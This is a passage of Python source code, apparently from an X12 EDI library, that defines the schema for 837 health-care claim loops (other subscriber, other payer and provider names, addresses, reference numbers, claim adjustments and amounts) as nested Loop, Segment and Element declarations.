data_type=("ID", "2", "3"),
position=1,
codes=["IL"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1", "2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="S",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="R",
data_type=("ID", "1", "2"),
position=8,
codes=["II", "MI"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="R",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Other Subscriber Address",
position="3320",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Other Subscriber City, State, ZIP Code",
position="3400",
repeat="1",
req_sit="S",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Other Subscriber Secondary Identification",
position="3550",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["SY"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2330B = Loop(
"2330B",
Properties(
desc="Other Payer Name", looptype="", position="3250", repeat="1", req_sit="R"
),
Segment(
"NM1",
Properties(
desc="Other Payer Name",
position="3250",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["PR"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="R",
data_type=("ID", "1", "2"),
position=8,
codes=["PI", "XV"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="R",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"N3",
Properties(
desc="Other Payer Address",
position="3320",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"N301",
Properties(
desc="Address Information",
req_sit="R",
data_type=("AN", "1", "55"),
position=1,
codes=[],
),
),
Element(
"N302",
Properties(
desc="Address Information",
req_sit="S",
data_type=("AN", "1", "55"),
position=2,
codes=[],
),
),
),
Segment(
"N4",
Properties(
desc="Other Payer City, State, ZIP Code",
position="3400",
repeat="1",
req_sit="S",
syntax="E0207 C0605 C0704",
),
Element(
"N401",
Properties(
desc="City Name",
req_sit="R",
data_type=("AN", "2", "30"),
position=1,
codes=[],
),
),
Element(
"N402",
Properties(
desc="State or Province Code",
req_sit="S",
data_type=("ID", "2", "2"),
position=2,
codes=[],
),
),
Element(
"N403",
Properties(
desc="Postal Code",
req_sit="S",
data_type=("ID", "3", "15"),
position=3,
codes=[],
),
),
Element(
"N404",
Properties(
desc="Country Code",
req_sit="S",
data_type=("ID", "2", "3"),
position=4,
codes=[],
),
),
Element(
"N405",
Properties(
desc="Location Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=5,
codes=[],
),
),
Element(
"N406",
Properties(
desc="Location Identifier",
req_sit="N",
data_type=("AN", "1", "30"),
position=6,
codes=[],
),
),
Element(
"N407",
Properties(
desc="Country Subdivision Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=7,
codes=[],
),
),
),
Segment(
"DTP",
Properties(
desc="Claim Check or Remittance Date",
position="3450",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"DTP01",
Properties(
desc="Date/Time Qualifier",
req_sit="R",
data_type=("ID", "3", "3"),
position=1,
codes=["573"],
),
),
Element(
"DTP02",
Properties(
desc="Date Time Period Format Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=2,
codes=["D8"],
),
),
Element(
"DTP03",
Properties(
desc="Date Time Period",
req_sit="R",
data_type=("AN", "1", "35"),
position=3,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Secondary Identifier",
position="3550",
repeat="2",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["2U", "EI", "FY", "NF"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Prior Authorization Number",
position="3550",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["G1"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Referral Number",
position="3550",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["9F"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Claim Adjustment Indicator",
position="3550",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["T4"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Claim Control Number",
position="3550",
repeat="1",
req_sit="S",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["F8"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2330C = Loop(
"2330C",
Properties(
desc="Other Payer Referring Provider",
looptype="",
position="3250",
repeat="2",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Other Payer Referring Provider",
position="3250",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["DN", "P3"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Referring Provider Secondary Identification",
position="3550",
repeat="3",
req_sit="R",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2330D = Loop(
"2330D",
Properties(
desc="Other Payer Rendering Provider",
looptype="",
position="3650",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Other Payer Rendering Provider",
position="3250",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["82"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1", "2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Rendering Provider Secondary Identification",
position="3550",
repeat="3",
req_sit="R",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2330E = Loop(
"2330E",
Properties(
desc="Other Payer Service Facility Location",
looptype="",
position="4650",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Other Payer Service Facility Location",
position="3250",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["77"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Service Facility Location Secondary Identification",
position="3550",
repeat="3",
req_sit="R",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2330F = Loop(
"2330F",
Properties(
desc="Other Payer Supervising Provider",
looptype="",
position="5650",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Other Payer Supervising Provider",
position="3250",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["DQ"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Supervising Provider Secondary Identification",
position="3550",
repeat="3",
req_sit="R",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["0B", "1G", "G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2330G = Loop(
"2330G",
Properties(
desc="Other Payer Billing Provider",
looptype="",
position="6350",
repeat="1",
req_sit="S",
),
Segment(
"NM1",
Properties(
desc="Other Payer Billing Provider",
position="3250",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["85"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1", "2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="N",
data_type=("ID", "1", "2"),
position=8,
codes=[],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="N",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"REF",
Properties(
desc="Other Payer Billing Provider Secondary Identification",
position="3550",
repeat="2",
req_sit="R",
syntax="R0203",
),
Element(
"REF01",
Properties(
desc="Reference Identification Qualifier",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["G2", "LU"],
),
),
Element(
"REF02",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=2,
codes=[],
),
),
Element(
"REF03",
Properties(
desc="Description",
req_sit="N",
data_type=("AN", "1", "80"),
position=3,
codes=[],
),
),
Composite(
"C040",
Properties(
desc="Reference Identifier", refdes="", repeat="", req_sit="N", seq="04"
),
),
),
)
parsed_837_2320 = Loop(
"2320",
Properties(
desc="Other Subscriber Information",
looptype="",
position="2900",
repeat="10",
req_sit="S",
),
Segment(
"SBR",
Properties(
desc="Other Subscriber Information",
position="2900",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"SBR01",
Properties(
desc="Payer Responsibility Sequence Number Code",
req_sit="R",
data_type=("ID", "1", "1"),
position=1,
codes=["A", "B", "C", "D", "E", "F", "G", "H", "P", "S", "T", "U"],
),
),
Element(
"SBR02",
Properties(
desc="Individual Relationship Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=2,
codes=["01", "18", "19", "20", "21", "39", "40", "53", "G8"],
),
),
Element(
"SBR03",
Properties(
desc="Reference Identification",
req_sit="S",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"SBR04",
Properties(
desc="Name",
req_sit="S",
data_type=("AN", "1", "60"),
position=4,
codes=[],
),
),
Element(
"SBR05",
Properties(
desc="Insurance Type Code",
req_sit="S",
data_type=("ID", "1", "3"),
position=5,
codes=["12", "13", "14", "15", "16", "41", "42", "43", "47"],
),
),
Element(
"SBR06",
Properties(
desc="Coordination of Benefits Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=6,
codes=[],
),
),
Element(
"SBR07",
Properties(
desc="Yes/No Condition or Response Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=7,
codes=[],
),
),
Element(
"SBR08",
Properties(
desc="Employment Status Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=8,
codes=[],
),
),
Element(
"SBR09",
Properties(
desc="Claim Filing Indicator Code",
req_sit="S",
data_type=("ID", "1", "2"),
position=9,
codes=[
"11",
"12",
"13",
"14",
"15",
"16",
"17",
"AM",
"BL",
"CH",
"CI",
"DS",
"FI",
"HM",
"LM",
"MA",
"MB",
"MC",
"OF",
"TV",
"VA",
"WC",
"ZZ",
],
),
),
),
Segment(
"CAS",
Properties(
desc="Claim Level Adjustments",
position="2950",
repeat="5",
req_sit="S",
syntax="L050607 C0605 C0705 L080910 C0908 C1008 L111213 C1211 C1311 L141516 C1514 C1614 L171819 C1817 C1917",
),
Element(
"CAS01",
Properties(
desc="Claim Adjustment Group Code",
req_sit="R",
data_type=("ID", "1", "2"),
position=1,
codes=["CO", "CR", "OA", "PI", "PR"],
),
),
Element(
"CAS02",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="R",
data_type=("ID", "1", "5"),
position=2,
codes=[],
),
),
Element(
"CAS03",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=3,
codes=[],
),
),
Element(
"CAS04",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=4,
codes=[],
),
),
Element(
"CAS05",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=5,
codes=[],
),
),
Element(
"CAS06",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=6,
codes=[],
),
),
Element(
"CAS07",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=7,
codes=[],
),
),
Element(
"CAS08",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=8,
codes=[],
),
),
Element(
"CAS09",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=9,
codes=[],
),
),
Element(
"CAS10",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=10,
codes=[],
),
),
Element(
"CAS11",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=11,
codes=[],
),
),
Element(
"CAS12",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=12,
codes=[],
),
),
Element(
"CAS13",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=13,
codes=[],
),
),
Element(
"CAS14",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=14,
codes=[],
),
),
Element(
"CAS15",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=15,
codes=[],
),
),
Element(
"CAS16",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=16,
codes=[],
),
),
Element(
"CAS17",
Properties(
desc="Claim Adjustment Reason Code",
req_sit="S",
data_type=("ID", "1", "5"),
position=17,
codes=[],
),
),
Element(
"CAS18",
Properties(
desc="Monetary Amount",
req_sit="S",
data_type=("R", "1", "18"),
position=18,
codes=[],
),
),
Element(
"CAS19",
Properties(
desc="Quantity",
req_sit="S",
data_type=("R", "1", "15"),
position=19,
codes=[],
),
),
),
Segment(
"AMT",
Properties(
desc="Coordination of Benefits (COB) Payer Paid Amount",
position="3000",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"AMT01",
Properties(
desc="Amount Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["D"],
),
),
Element(
"AMT02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"AMT03",
Properties(
desc="Credit/Debit Flag Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
),
Segment(
"AMT",
Properties(
desc="Coordination of Benefits (COB) Total Non-Covered Amount",
position="3000",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"AMT01",
Properties(
desc="Amount Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["A8"],
),
),
Element(
"AMT02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"AMT03",
Properties(
desc="Credit/Debit Flag Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
codes=[],
),
),
),
Segment(
"AMT",
Properties(
desc="Remaining Patient Liability",
position="3000",
repeat="1",
req_sit="S",
syntax="",
),
Element(
"AMT01",
Properties(
desc="Amount Qualifier Code",
req_sit="R",
data_type=("ID", "1", "3"),
position=1,
codes=["EAF"],
),
),
Element(
"AMT02",
Properties(
desc="Monetary Amount",
req_sit="R",
data_type=("R", "1", "18"),
position=2,
codes=[],
),
),
Element(
"AMT03",
Properties(
desc="Credit/Debit Flag Code",
req_sit="N",
data_type=("ID", "1", "1"),
position=3,
